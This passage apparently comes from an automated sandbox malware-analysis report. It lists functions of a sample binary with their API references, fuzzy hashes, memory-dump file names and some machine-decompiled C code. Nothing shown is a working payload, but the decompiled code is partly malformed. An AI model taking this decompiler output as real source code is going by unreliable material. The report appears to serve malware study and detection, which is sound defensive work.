Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: malloc$_cexitmemcpystrlen
String ID:
API String ID: 701060287-0
Opcode ID: 50d8b38893ff70f7f323b57287a02b21ae0fcfd4ad3eb3de9cf6271b0af59c30
Instruction ID: c1f1f2381dc40104644389f36c10c99584083fd147cd79774384c01e3d796a65
Opcode Fuzzy Hash: 50d8b38893ff70f7f323b57287a02b21ae0fcfd4ad3eb3de9cf6271b0af59c30
Instruction Fuzzy Hash: 9F3163B4A04341CFDB20DF69E88464AB7F1FB58315F51892ED948A73B1E738A809DF85

Uniqueness

Uniqueness Score: -1.00%

Function 00402B30 Relevance: 3.1, APIs: 2, Instructions: 59
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 00402B9E
CreateThread.KERNELBASE ref: 00402BDA

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: CreateThreadmalloc
String ID:
API String ID: 2602276845-0
Opcode ID: 6a508702b6b693ffdaa8e97b278687bd5749448d4eda8735b6979b5c63573e6c
Instruction ID: c2589d03005fab40fb19f38e0f3d01a5c82abbd53b69054d30202bbc547e6f81
Opcode Fuzzy Hash: 6a508702b6b693ffdaa8e97b278687bd5749448d4eda8735b6979b5c63573e6c
Instruction Fuzzy Hash: D921A8B4905209DFDB50CFA9C94879EBBF0FB08318F10851AE458B7380D3B89945CF86

Uniqueness

Uniqueness Score: -1.00%

Function 00448D60 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00448D60(intOrPtr* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8) {
				char _v52;
				intOrPtr* _v64;
				void* _t23;
				void* _t30;

				_t30 = __eflags;
				_v64 = __ecx;
				FreeConsole(); // executed
				L004030C4(_t23,  &_v52, _t30); // executed
				 *_v64 =  *_v64 + _a4;
				 *((intOrPtr*)(_v64 + 4)) =  *((intOrPtr*)(_v64 + 4)) + _a8;
				return _v64;
			}

0x00448d60
0x00448d66
0x00448d6e
0x00448d75
0x00448d87
0x00448d97
0x00448d9e

APIs

FreeConsole.KERNELBASE ref: 00448D6E

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: ConsoleFree
String ID:
API String ID: 771614528-0
Opcode ID: d3f68cd871caa64332114a7df8dafff2c38b6d4294ae3aa9c194309896fe2a5c
Instruction ID: c621affd5b4012b664aa0baf774b5f433fa00fda5fd54e09ae55ac7cf7637083
Opcode Fuzzy Hash: d3f68cd871caa64332114a7df8dafff2c38b6d4294ae3aa9c194309896fe2a5c
Instruction Fuzzy Hash: 72F09238E02208AFCB08DF9DE48198DF7F5BF88304B00C066F818E7365DA30E9048B44

Uniqueness

Uniqueness Score: -1.00%

Function 00438A90 Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindCloseChangeNotification.KERNELBASE ref: 00438A9D

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 9db1375480cba5cbab454c6614e952dd5e8e0cf5321d6bb84122c215b0be6b33
Instruction ID: 28754c38af68cb811f8762ab06cad66c1bc0cc206021219a1873d7dfb02ac2d0
Opcode Fuzzy Hash: 9db1375480cba5cbab454c6614e952dd5e8e0cf5321d6bb84122c215b0be6b33
Instruction Fuzzy Hash: 74C04CB99046448FC700BF6CD54951D7BF0BB58201F8549A8E88587315E634D6188A53

Uniqueness

Uniqueness Score: -1.00%

Function 004C1230 Relevance: 1.3, APIs: 1, Instructions: 31
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strlen.MSVCRT ref: 004C1244

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 0453de2005cfb36a1deb7ba52e0cf2dab684950c2df7dfbd00ab4f51755b7eef
Instruction ID: 578905bb96501ca02edfdf7c63899d4212dd1b3c8efa49f7707ee0f9c13ae061
Opcode Fuzzy Hash: 0453de2005cfb36a1deb7ba52e0cf2dab684950c2df7dfbd00ab4f51755b7eef
Instruction Fuzzy Hash: 0FF082B1A082105BCB00BF2DE4C545BBBE4BF44718F0548AEF4C98B302D235E840CBD2

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0043D410 Relevance: 18.2, APIs: 7, Strings: 3, Instructions: 650stringCOMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 0043D41F
strlen.MSVCRT ref: 0043D42F
isspace.MSVCRT ref: 0043D467
_strnicmp.MSVCRT ref: 0043D4E6
_strnicmp.MSVCRT ref: 0043D50A
_strnicmp.MSVCRT ref: 0043D57A

Strings

P, xrefs: 0043DC7F
@, xrefs: 0043DC87
t"Q, xrefs: 0043DAF5

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: _strnicmp$isspacelocaleconvstrlen
String ID: @$P$t"Q
API String ID: 1481374036-3124755787
Opcode ID: 293c835e193b94e7b0e7a05ce210ab176950971623e72062a6fab1884051fe51
Instruction ID: bbae3c693b6565e54318db9a0cdd0318c8a0bac8d2827f0673e168ca079143b3
Opcode Fuzzy Hash: 293c835e193b94e7b0e7a05ce210ab176950971623e72062a6fab1884051fe51
Instruction Fuzzy Hash: C55226B1D043188BDB20DFA9C98479EBBF1BF48304F15852EE899AB341E7399946CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00437048 Relevance: 12.3, APIs: 3, Strings: 5, Instructions: 328
stringCOMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E00437048(intOrPtr* __eax, void* __ebx, void* __edx, void* __edi) {
				void* _t150;
				void* _t207;
				void* _t233;
				intOrPtr _t294;

				_t233 = __edx;
				_t207 = __ebx;
				_t150 = __eax +  *__eax;
				_t1 = __edi + "_GLOBAL_";
				 *_t1 =  *((intOrPtr*)(__edi + "_GLOBAL_")) + __ebx;
				_t294 =  *_t1;
			}

0x00437048
0x00437048
0x00437048
0x0043704a
0x0043704a
0x0043704a

APIs

strlen.MSVCRT ref: 00437093
strlen.MSVCRT ref: 00437186
strlen.MSVCRT ref: 00437205

Strings

_, xrefs: 0043755B
Z, xrefs: 00437380
_, xrefs: 00437412
Z, xrefs: 004373E0
_, xrefs: 00437167

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: strlen
String ID: Z$Z$_$_$_
API String ID: 39653677-2669602318
Opcode ID: 07ec19bd547c30a1e5e54cca7dfdc7710fb580a315171428258690c1e4776521
Instruction ID: 64edc62ae5c744f84e3abc8f28a44066ab0b67b0f3acc4d47f8e42988c6a4f84
Opcode Fuzzy Hash: 07ec19bd547c30a1e5e54cca7dfdc7710fb580a315171428258690c1e4776521
Instruction Fuzzy Hash: 49E198B19082698FEB20CF15C8903DEFBB2BB49304F1491DAD4985B345D7399A85CF84

Uniqueness

Uniqueness Score: -1.00%

Function 004014E0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 004014F0
LoadLibraryA.KERNEL32 ref: 00401506
GetProcAddress.KERNEL32 ref: 00401525
GetProcAddress.KERNEL32 ref: 00401537

Strings

)0P, xrefs: 0040152C

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: )0P
API String ID: 384173800-2096153466
Opcode ID: f5c88e9e09f8e54a4abd6ca6c51941241ccfb7bbd5bf8425b632c60a2ef2808f
Instruction ID: 1da5ad38f60d27028859061bc3a76640d395b22d0961f5182e6da4b6859d0edf
Opcode Fuzzy Hash: f5c88e9e09f8e54a4abd6ca6c51941241ccfb7bbd5bf8425b632c60a2ef2808f
Instruction Fuzzy Hash: 1801B1B18093549BC3007F79AD5C11EBFF8FA84305F01453EE88A5B2A0E7B894489B9B

Uniqueness

Uniqueness Score: -1.00%

Function 00445670 Relevance: 6.7, APIs: 4, Instructions: 690COMMON

Download Yara Rule

APIs

localeconv.MSVCRT ref: 00445677
_errno.MSVCRT ref: 00445A9A

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: _errnolocaleconv
String ID:
API String ID: 890718178-0
Opcode ID: 8ef9ac02d07716f47704f29359c0d8ac701fae597ddaf58d0b03adf579ae0241
Instruction ID: 3be169725a73b64d010efdf58c02ab0ea9c87c64541839f7a50da149a07aeeef
Opcode Fuzzy Hash: 8ef9ac02d07716f47704f29359c0d8ac701fae597ddaf58d0b03adf579ae0241
Instruction Fuzzy Hash: 2D429171A087518FEB10CF19C08432BBBE2BF88314F19496EE8859B352D779ED45CB96

Uniqueness

Uniqueness Score: -1.00%

Function 004414D0 Relevance: 1.5, Strings: 1, Instructions: 211
COMMONCrypto

Download Yara Rule

C-Code - Quality: 58%

			E004414D0(intOrPtr _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				short _v18;
				short _v20;
				intOrPtr _v22;
				intOrPtr _v26;
				intOrPtr _v30;
				intOrPtr _v34;
				signed int _v52;
				signed int _v56;
				intOrPtr _v60;
				signed char _v61;
				signed int _t83;
				void* _t88;
				signed int _t93;
				signed short* _t96;
				signed int _t99;
				signed int _t101;
				signed int _t102;
				signed int _t104;
				unsigned int _t106;
				intOrPtr _t108;
				void* _t109;
				signed short* _t111;
				signed short* _t113;
				signed short* _t114;
				signed int _t115;
				signed int _t118;
				signed char _t121;
				signed int _t122;
				signed int _t124;
				signed int _t125;
				signed int _t127;
				signed int _t129;
				void* _t131;
				void* _t132;
				void* _t133;
				signed int _t137;
				void* _t154;
				intOrPtr* _t155;

				_t155 = _t154 - 0x34;
				_t108 = _a4;
				_v18 = 0;
				_v22 = 0;
				_v34 = 0;
				_v30 = 0;
				_v26 = 0;
				 *_t155 = _t108;
				_v20 = 1;
				_t83 = E00441320();
				_t137 = _a16 - _t83;
				if(_t83 <= 0x50 || _t137 > 0x7ffe) {
					if(_t137 < 0) {
						if(_t137 >= 0xffffffb0) {
							_t118 = _t137;
							L00440A30(_t108, _t118);
							_t83 =  ==  ? _a8 : 1;
							_a8 = 1;
							if(_a20 != 0) {
								goto L11;
							}
							goto L4;
						} else {
							goto L9;
						}
					} else {
						if(_a20 != 0) {
							L11:
							if(_a24 == 0x40) {
								_v22 = 1;
								_v60 = 0xe;
								_v52 = 6;
								_v56 = 7;
							} else {
								_v60 = 0x10;
								_v52 = 7;
								_v56 = 8;
							}
							_t121 = (_t118 & 0xffffff00 | _t137 <= 0x00000000) & (_t83 & 0xffffff00 | _a24 != 0x00000050);
							_v61 = _t121;
							if(_t121 != 0) {
								_t111 = _t108 + 4;
								_t131 = _t108 + 0x12;
								_t122 = 0;
								_a8 = _a8 |  *(_t108 + 0x10) & 1;
								do {
									_t123 =  !=  ? _t122 | 0x00000001 : _t122;
									_t93 = ( *_t111 & 0x0000ffff) >> 1;
									_t94 =  !=  ? _t93 | 0x00008000 : _t93;
									_t111 =  &(_t111[1]);
									_t122 = ( !=  ? _t122 | 0x00000001 : _t122) + ( !=  ? _t122 | 0x00000001 : _t122);
									 *((short*)(_t111 - 2)) =  !=  ? _t93 | 0x00008000 : _t93;
								} while (_t131 != _t111);
							}
							_t96 = _v60 + _t108;
							_t124 =  *_t96 & 0x0000ffff;
							if(_a24 <= 0x4f && _v56 == 7) {
								if( *(_t108 + 0x10) != 0) {
									_t124 = _t124 | 0x00000001;
								}
								 *(_t108 + 0x10) = 0;
							}
							 *_t96 = 0;
							if(_t124 < 0) {
								if(_t124 == 0x8000) {
									if(_a8 != 0) {
										if(_a12 == 0) {
											goto L30;
										}
									} else {
										if(( *(_t108 + _v52 * 2) & 0x00000001) != 0) {
											goto L30;
										}
									}
								} else {
									L30:
									_t129 = 7;
									_t104 = 0;
									_t115 = 0;
									while(1) {
										_t106 = _t104 + ( *(_t108 + 2 + _t129 * 2) & 0x0000ffff) + _t115;
										 *(_t108 + 2 + _t129 * 2) = _t106;
										_t115 = _t106 >> 0x00000010 & 0x00000001;
										_t129 = _t129 - 1;
										if(_t129 == 0) {
											break;
										}
										_t104 =  *(_t155 + 0x24 + _t129 * 2) & 0x0000ffff;
									}
								}
							}
							if(_v61 != 0) {
								_t113 = _t108 + 0x10;
								_t132 = _t108 + 2;
								_t125 = 0;
								do {
									_t126 =  <  ? _t125 | 0x00000001 : _t125;
									_t99 = ( *_t113 & 0x0000ffff) + ( *_t113 & 0x0000ffff);
									_t100 =  !=  ? _t99 | 0x00000001 : _t99;
									_t113 = _t113 - 2;
									_t125 = ( <  ? _t125 | 0x00000001 : _t125) + ( <  ? _t125 | 0x00000001 : _t125);
									_t113[1] =  !=  ? _t99 | 0x00000001 : _t99;
								} while (_t132 != _t113);
							}
							_t101 =  *(_t108 + 4) & 0x0000ffff;
							if(_t101 != 0) {
								_t114 = _t108 + 4;
								_t133 = _t108 + 0x12;
								_t127 = 0;
								while(1) {
									_t128 =  !=  ? _t127 | 0x00000001 : _t127;
									_t102 = _t101 >> 1;
									_t103 =  !=  ? _t102 | 0x00008000 : _t102;
									_t114 =  &(_t114[1]);
									_t127 = ( !=  ? _t127 | 0x00000001 : _t127) + ( !=  ? _t127 | 0x00000001 : _t127);
									 *((short*)(_t114 - 2)) =  !=  ? _t102 | 0x00008000 : _t102;
									if(_t133 == _t114) {
										break;
									}
									_t101 =  *_t114 & 0x0000ffff;
								}
								_t137 = _t137 + 1;
							}
						}
						L4:
						 *(_t108 + 0x10) = 0;
						if(_t137 <= 0x7ffe) {
							_t138 =  <  ? 0 : _t137;
							 *((short*)(_t108 + 2)) =  <  ? 0 : _t137;
							return 0;
						} else {
							_t88 = _t108 + 4;
							_t109 = _t108 + 0x10;
							 *((short*)(_t109 - 0xe)) = 0x7fff;
							do {
								_t88 = _t88 + 2;
								 *((short*)(_t88 - 2)) = 0;
							} while (_t109 != _t88);
							return _t88;
						}
					}
				} else {
					L9:
					 *((intOrPtr*)(_t108 + 2)) = 0;
					 *((intOrPtr*)(_t108 + 6)) = 0;
					 *((intOrPtr*)(_t108 + 0xa)) = 0;
					 *((intOrPtr*)(_t108 + 0xe)) = 0;
					return _t83;
				}
			}

0x004414d6
0x004414d9
0x004414dd
0x004414e7
0x004414ef
0x004414f7
0x004414ff
0x00441507
0x0044150a
0x0044150f
0x00441518
0x0044151d
0x00441529
0x00441568
0x00441675
0x00441679
0x00441689
0x00441690
0x00441694
0x00000000
0x0044169a
0x00000000
0x00000000
0x00000000
0x00000000
0x0044152b
0x00441531
0x004415b0
0x004415b5
0x004416a0
0x004416a8
0x004416b0
0x004416b8
0x004415bb
0x004415bb
0x004415c3
0x004415cb
0x004415cb
0x004415e0
0x004415e2
0x004415e6
0x00441709
0x0044170c
0x0044170f
0x00441714
0x00441720
0x0044172a
0x0044172d
0x0044173a
0x0044173d
0x00441740
0x00441742
0x00441746
0x0044174a
0x004415f0
0x004415f7
0x004415fa
0x00441608
0x0044160a
0x0044160a
0x0044160f
0x0044160f
0x00441618
0x0044161b
0x004416ca
0x00441796
0x004417b6
0x00000000
0x004417bc
0x00441798
0x004417a0
0x00000000
0x004417a6
0x004417a0
0x004416d0
0x004416d0
0x004416d0
0x004416d5
0x004416d7
0x004416e5
0x004416ec
0x004416f0
0x004416f8
0x004416fb
0x004416fe
0x00000000
0x00000000
0x004416e0
0x004416e0
0x00441700
0x004416ca
0x00441626
0x00441750
0x00441753
0x00441756
0x00441760
0x0044176b
0x0044176e
0x00441778
0x0044177b
0x0044177e
0x00441780
0x00441784
0x00441788
0x0044162c
0x00441633
0x00441639
0x0044163c
0x0044163f
0x00441646
0x0044164d
0x00441650
0x0044165d
0x00441660
0x00441663
0x00441665
0x0044166b
0x00000000
0x00000000
0x00441643
0x00441643
0x0044166d
0x0044166d
0x00441633
0x00441533
0x0044153b
0x0044153f
0x00441599
0x0044159c
0x004415a7
0x00441541
0x00441546
0x00441549
0x0044154c
0x00441550
0x00441552
0x00441555
0x00441559
0x00441564
0x00441564
0x0044153f
0x0044156e
0x0044156e
0x0044156e
0x00441575
0x0044157c
0x00441583
0x00441591
0x00441591

Strings

O, xrefs: 004415F2

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID:
String ID: O
API String ID: 0-878818188
Opcode ID: ea26cd12025653a067fcf06a597c68bf0b7b4f4647c4204ac98e83365bbd9ebb
Instruction ID: f56ece534abb54f545a1a1bf28692b2f8c6e0eab0c4a31f5468712d7d48e5d7b
Opcode Fuzzy Hash: ea26cd12025653a067fcf06a597c68bf0b7b4f4647c4204ac98e83365bbd9ebb
Instruction Fuzzy Hash: 9271F7716083148BEB149F54C44536BB7E1EFD0348F06882EDD898B361E7BDD989CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0044A2E0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 130fileCOMMON

Download Yara Rule

APIs

memcpy.MSVCRT ref: 0044A351
fwrite.MSVCRT ref: 0044A3F8
fputs.MSVCRT ref: 0044A415
fwrite.MSVCRT ref: 0044A43E
fputs.MSVCRT ref: 0044A45D
fwrite.MSVCRT ref: 0044A48C
fwrite.MSVCRT ref: 0044A4BE
abort.MSVCRT ref: 0044A4C3
abort.MSVCRT(?,?,474E5543,?,004C00E0,?,?,?,?,?,?,004C367F,?,?,?,?), ref: 004C44EB
free.MSVCRT(?,?,474E5543,?,004C00E0,?,?,?,?,?,?,004C367F,?,?,?,?), ref: 004C44F3

Strings

not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/): , xrefs: 0044A2F9
-, xrefs: 0044A471
`wD, xrefs: 0044A3D3, 0044A46B, 0044A49D

Memory Dump Source

Source File: 00000000.00000002.325206113.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.325202525.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325279647.00000000004CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325283907.00000000004CF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325305227.0000000000500000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325309531.0000000000503000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325320855.0000000000519000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325724075.0000000000557000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325902856.000000000055A000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.325908726.000000000055B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_hy4iXHZVJ4.jbxd

Similarity

API ID: fwrite$abortfputs$freememcpy
String ID: -$`wD$not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/):
API String ID: 1748391741-3638948623
Opcode ID: 2b9f6e9284f869e8ac8a8a0cfd1a8624702b3ce7517c13cbe462a332547b9caa
Instruction ID: 143aba960b5c7fbc5b50e8439d4e2247477db709030f030fa26af12b98782bf6
Opcode Fuzzy Hash: 2b9f6e9284f869e8ac8a8a0cfd1a8624702b3ce7517c13cbe462a332547b9caa
